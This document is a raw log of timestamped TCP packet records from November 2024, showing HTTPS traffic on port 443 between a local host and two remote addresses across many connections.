Nov 18, 2024 08:55:27.248224974 CET	443	49740	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.249310970 CET	443	49740	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.249401093 CET	49740	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:27.258079052 CET	49740	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:27.258189917 CET	443	49740	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.258826017 CET	49740	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:27.258845091 CET	443	49740	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.305176973 CET	49740	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:27.394977093 CET	443	49741	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.395212889 CET	49741	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:27.395224094 CET	443	49741	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.397156954 CET	443	49741	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.397211075 CET	49741	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:27.397766113 CET	49741	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:27.397852898 CET	443	49741	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.397931099 CET	49741	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:27.417078972 CET	49741	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:27.417105913 CET	443	49741	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.417192936 CET	49741	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:27.457250118 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.457555056 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:27.457576990 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.458580017 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.458666086 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:27.458981037 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:27.459039927 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.459147930 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:27.459155083 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.508502007 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:27.533147097 CET	443	49740	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.579866886 CET	443	49743	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.583024025 CET	49743	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:27.583036900 CET	443	49743	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.584043026 CET	443	49743	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.584620953 CET	49743	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:27.584620953 CET	49743	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:27.584693909 CET	443	49743	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.587336063 CET	49740	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:27.587343931 CET	49743	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:27.587344885 CET	443	49740	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.591342926 CET	49740	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:27.591473103 CET	443	49740	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.591821909 CET	443	49740	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.591907978 CET	49740	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:27.591907978 CET	49740	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:27.631336927 CET	443	49743	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.633514881 CET	49743	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:27.633521080 CET	443	49743	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.680413008 CET	49743	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:27.758436918 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.758483887 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.758506060 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.758534908 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:27.758548021 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.758708954 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:27.758852005 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.759191990 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.759237051 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:27.759243011 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.764728069 CET	443	49746	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.765592098 CET	49746	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.765614986 CET	443	49746	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.766127110 CET	49746	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.766132116 CET	443	49746	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.767009020 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.767151117 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:27.767159939 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.782632113 CET	443	49747	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.783286095 CET	49747	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.783339977 CET	443	49747	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.783787966 CET	49747	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.783801079 CET	443	49747	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.797185898 CET	443	49748	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.797776937 CET	49748	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.797791958 CET	443	49748	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.798326015 CET	49748	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.798330069 CET	443	49748	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.820525885 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:27.820538998 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.857351065 CET	443	49743	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.867328882 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:27.876590967 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.876730919 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.877175093 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:27.877187967 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.877212048 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.877332926 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:27.877337933 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.881203890 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.881280899 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:27.881288052 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.886182070 CET	443	49749	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.886831999 CET	49749	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.886848927 CET	443	49749	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.887573957 CET	49749	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.887578964 CET	443	49749	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.889864922 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.889940023 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:27.889945984 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.894438028 CET	443	49746	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.894537926 CET	443	49746	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.894828081 CET	49746	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.894866943 CET	49746	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.894875050 CET	443	49746	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.894893885 CET	49746	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.894900084 CET	443	49746	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.898448944 CET	49751	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.898466110 CET	443	49751	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.898653984 CET	49743	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:27.898663998 CET	443	49743	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.898770094 CET	49751	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.898963928 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.899452925 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:27.899457932 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.899765015 CET	49751	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.899777889 CET	443	49751	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.906002998 CET	49743	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:27.906095982 CET	443	49743	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.906172037 CET	49743	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:27.907661915 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.907875061 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:27.907881021 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.913137913 CET	443	49750	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.913770914 CET	443	49747	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.913981915 CET	443	49747	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.914043903 CET	49747	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.914134979 CET	49747	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.914160013 CET	443	49747	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.916280031 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.916435957 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:27.916441917 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.924491882 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.924595118 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:27.924601078 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.927917004 CET	443	49748	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.928237915 CET	443	49748	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.928318024 CET	49748	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.932028055 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.932291031 CET	49748	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.932291031 CET	49748	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.932297945 CET	443	49748	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.932305098 CET	443	49748	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.932322025 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:27.932327032 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.932995081 CET	49750	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.933005095 CET	443	49750	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.933474064 CET	49750	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.933478117 CET	443	49750	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.939095974 CET	49752	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.939119101 CET	443	49752	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.939333916 CET	49752	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.941011906 CET	49753	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.941061974 CET	443	49753	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.941220045 CET	49752	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.941221952 CET	49753	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.941232920 CET	443	49752	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.941644907 CET	49753	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.941656113 CET	443	49753	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.976351023 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:27.976356983 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.996387005 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.996413946 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.996481895 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:27.996489048 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.996684074 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:27.996689081 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.996714115 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.996777058 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:27.996783018 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.997622013 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.997821093 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:27.997826099 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.999911070 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.000036955 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:28.000041962 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.000768900 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.000839949 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.000884056 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:28.000890017 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.000948906 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:28.006607056 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.012651920 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.012722969 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:28.012728930 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.012738943 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.012801886 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:28.018284082 CET	443	49749	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.018364906 CET	443	49749	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.018452883 CET	49749	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.018625021 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.018775940 CET	49749	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.018785954 CET	443	49749	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.018790960 CET	49749	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.018795013 CET	443	49749	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.022502899 CET	49754	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.022516966 CET	443	49754	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.022862911 CET	49754	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.022922993 CET	49754	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.022929907 CET	443	49754	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.024660110 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.024738073 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:28.024744987 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.030803919 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.030827045 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.030949116 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:28.030955076 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.031039000 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:28.036880970 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.042875051 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.042900085 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.042960882 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:28.042968988 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.043226004 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:28.049016953 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.058671951 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.058712959 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.058748007 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:28.058754921 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.058840036 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:28.060460091 CET	443	49750	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.060524940 CET	443	49750	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.060806990 CET	49750	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.060889006 CET	49750	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.060889006 CET	49750	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.060895920 CET	443	49750	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.060903072 CET	443	49750	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.061467886 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.064861059 CET	49755	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.064914942 CET	443	49755	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.065073013 CET	49755	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.065215111 CET	49755	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.065236092 CET	443	49755	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.066977978 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.067065001 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:28.067070007 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.073195934 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.073221922 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.073246956 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:28.073252916 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.073438883 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:28.079051018 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.100176096 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.100246906 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:28.100254059 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.115897894 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.116029978 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:28.116034985 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.116087914 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.116614103 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:28.116617918 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.116652012 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.116688013 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.116722107 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:28.116728067 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.117019892 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:28.117336035 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.117955923 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.117990017 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.118309021 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:28.118314981 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.118516922 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:28.118762016 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.124205112 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.124273062 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.124277115 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:28.124283075 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.124361038 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:28.129664898 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.133038044 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.133089066 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.133090973 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:28.133096933 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.133191109 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:28.136243105 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.139416933 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.139453888 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.139688015 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:28.139703989 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.139842987 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:28.142560959 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.145714045 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.145765066 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:28.145772934 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.148859024 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.148946047 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.149285078 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:28.149291039 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.149668932 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:28.151936054 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.196190119 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:28.196203947 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.196487904 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:28.196522951 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:28.196605921 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:28.636266947 CET	443	49751	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.637506962 CET	49751	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.637517929 CET	443	49751	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.638469934 CET	49751	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.638474941 CET	443	49751	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.673882961 CET	443	49752	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.674669027 CET	443	49753	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.675158024 CET	49752	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.675173044 CET	443	49752	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.675667048 CET	49752	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.675672054 CET	443	49752	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.683412075 CET	49753	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.683427095 CET	443	49753	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.683859110 CET	49753	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.683867931 CET	443	49753	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.749743938 CET	443	49754	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.750237942 CET	49754	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.750252008 CET	443	49754	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.750793934 CET	49754	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.750799894 CET	443	49754	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.766850948 CET	443	49751	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.766925097 CET	443	49751	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.766977072 CET	49751	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.767479897 CET	49751	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.767488003 CET	443	49751	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.767504930 CET	49751	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.767509937 CET	443	49751	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.771787882 CET	49759	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.771842003 CET	443	49759	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.772032976 CET	49759	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.772645950 CET	49759	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.772663116 CET	443	49759	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.795202971 CET	443	49755	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.795769930 CET	49755	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.795795918 CET	443	49755	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.796608925 CET	49755	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.796616077 CET	443	49755	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.807624102 CET	443	49752	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.807780027 CET	443	49752	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.807846069 CET	49752	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.807998896 CET	49752	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.808012962 CET	443	49752	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.808022976 CET	49752	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.808027983 CET	443	49752	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.811661959 CET	49760	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.811683893 CET	443	49760	13.107.246.45	192.168.2.7
